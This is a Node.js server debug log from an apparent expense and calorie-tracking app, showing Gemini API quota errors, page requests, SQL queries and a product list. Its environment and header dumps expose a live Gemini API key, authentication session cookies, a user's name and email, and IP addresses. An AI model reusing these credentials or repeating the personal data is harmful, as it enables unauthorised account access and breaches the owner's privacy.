\"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"29s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
2025-12-13T03:52:30.961Z server-connect:output Error at calculate_calorie: Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 29.062271781s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"29s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T03:52:30.961Z server-connect:server Got error? Error: Failed to process calories data: {"error":{"message":"{\n  \"error\": {\n    \"code\": 429,\n    \"message\": \"You exceeded your current quota, please check your plan and billing details. For more information on this error, head to: https://ai.google.dev/gemini-api/docs/rate-limits. To monitor your current usage, head to: https://ai.dev/usage?tab=rate-limit. \\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_requests, limit: 0, model: gemini-2.5-pro\\n* Quota exceeded for metric: generativelanguage.googleapis.com/generate_content_free_tier_input_token_count, limit: 0, model: gemini-2.5-pro\\nPlease retry in 29.062271781s.\",\n    \"status\": \"RESOURCE_EXHAUSTED\",\n    \"details\": [\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.Help\",\n        \"links\": [\n          {\n            \"description\": \"Learn more about Gemini API quotas\",\n            \"url\": \"https://ai.google.dev/gemini-api/docs/rate-limits\"\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.QuotaFailure\",\n        \"violations\": [\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerMinute-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerMinutePerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_requests\",\n            \"quotaId\": \"GenerateRequestsPerDayPerProjectPerModel-FreeTier\",\n            \"quotaDimensions\": {\n              \"model\": \"gemini-2.5-pro\",\n              \"location\": \"global\"\n            }\n          },\n          {\n            \"quotaMetric\": \"generativelanguage.googleapis.com/generate_content_free_tier_input_token_count\",\n            \"quotaId\": \"GenerateContentInputTokensPerModelPerDay-FreeTier\",\n            \"quotaDimensions\": {\n              \"location\": \"global\",\n              \"model\": \"gemini-2.5-pro\"\n            }\n          }\n        ]\n      },\n      {\n        \"@type\": \"type.googleapis.com/google.rpc.RetryInfo\",\n        \"retryDelay\": \"29s\"\n      }\n    ]\n  }\n}\n","code":429,"status":"Too Many Requests"}}
    at exports.processWithGemini (/home/tocyxovu/ems/extensions/server_connect/modules/gemini-ai.js:143:11)
    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:717:22)
    at async App._exec (/home/tocyxovu/ems/lib/core/app.js:684:9)
    at async App.exec (/home/tocyxovu/ems/lib/core/app.js:653:5)
    at async App.define (/home/tocyxovu/ems/lib/core/app.js:635:5)
2025-12-13T05:43:17.435Z server-connect:router Serving templateView /
2025-12-13T05:43:17.436Z server-connect:app Executing action step identify
2025-12-13T05:43:17.436Z server-connect:app options: { provider: 'security' }
2025-12-13T05:43:17.437Z server-connect:auth No login cookie found
2025-12-13T05:43:17.437Z server-connect:output identity: false
2025-12-13T05:43:17.437Z server-connect:app Executing action step restrict
2025-12-13T05:43:17.438Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T05:43:17.439Z server-connect:output restrict: undefined
2025-12-13T05:43:17.726Z server-connect:router Serving templateView /login
2025-12-13T05:43:17.726Z server-connect:app Executing action step identify
2025-12-13T05:43:17.726Z server-connect:app options: { provider: 'security' }
2025-12-13T05:43:17.726Z server-connect:auth No login cookie found
2025-12-13T05:43:17.726Z server-connect:output identity: false
2025-12-13T05:43:17.726Z server-connect:router Render template layouts/authentication
2025-12-13T05:43:17.727Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '34.87.46.3',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T05:43:17.725Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.87.46.3',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '34.87.46.3',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-13T06:02:24.603Z server-connect:router Serving templateView /
2025-12-13T06:02:24.603Z server-connect:app Executing action step identify
2025-12-13T06:02:24.603Z server-connect:app options: { provider: 'security' }
2025-12-13T06:02:24.603Z server-connect:output identity: 1
2025-12-13T06:02:24.604Z server-connect:app Executing action step restrict
2025-12-13T06:02:24.604Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:02:24.605Z server-connect:output restrict: undefined
2025-12-13T06:02:24.605Z server-connect:app Executing action step restrict
2025-12-13T06:02:24.605Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:02:24.606Z server-connect:output restrict: undefined
2025-12-13T06:02:24.606Z server-connect:router Render template layouts/main
2025-12-13T06:02:24.606Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'x-forwarded-for': '157.48.253.200',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T13:43:11.717Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.253.200',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A5%2FhGQmrShG7llOmje184jw%3D%3D.KEokyAzjJi33lruPCFTDAIxWUiG91iOAf900Zjg%2FCFIQm%2FU4E6tzgTkQ9DxEYEIr6AWT8NlR4iOk2%2BsvMOI63W98VGk8VViXtJ5QPcMIIioSwyCqQyo%2BpBXLrN05SNmfGSql0qnfoXdagI1JLnmFK5CgZi%2BsTB2cnSO%2Fcn3OZ3g%3D.cO08Mf2zu9AUxFlwf5QhXoQPEJfTGoz0H51u77B135s; your_r_git.sid=s%3A-37Jix6p-_jpGFOHZ-xfhIvYTs_FoWDW.2jqoRNH%2Fhh7G0IrrhwCvg6eWXsWbRvrTj%2Fupw%2BYE6OQ',
    'HTTP_X_FORWARDED-FOR': '157.48.253.200',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-13T06:02:25.689Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T06:02:25.691Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T06:02:25.693Z server-connect:app Executing action step identify
2025-12-13T06:02:25.693Z server-connect:app options: { provider: 'security' }
2025-12-13T06:02:25.693Z server-connect:output identity: 1
2025-12-13T06:02:25.693Z server-connect:app Executing action step restrict
2025-12-13T06:02:25.693Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:02:25.694Z server-connect:app Executing action step identify
2025-12-13T06:02:25.694Z server-connect:app options: { provider: 'security' }
2025-12-13T06:02:25.694Z server-connect:output identity: 1
2025-12-13T06:02:25.694Z server-connect:app Executing action step restrict
2025-12-13T06:02:25.694Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T06:02:25.695Z server-connect:output restrict: undefined
2025-12-13T06:02:25.695Z server-connect:app Executing action step single
2025-12-13T06:02:25.695Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T06:02:25.696Z server-connect:output restrict: undefined
2025-12-13T06:02:25.696Z server-connect:app Executing action step select
2025-12-13T06:02:25.696Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T06:02:25.697Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T06:02:25.705Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T06:02:28.624Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T06:02:28.624Z server-connect:app Executing action step identify
2025-12-13T06:02:28.624Z server-connect:app options: { provider: 'security' }
2025-12-13T06:02:28.624Z server-connect:output identity: 1
2025-12-13T06:02:28.624Z server-connect:app Executing action step restrict
2025-12-13T06:02:28.624Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T06:02:28.625Z server-connect:output restrict: undefined
2025-12-13T06:02:28.625Z server-connect:router Render template calorie-tracker
2025-12-13T06:02:28.625Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
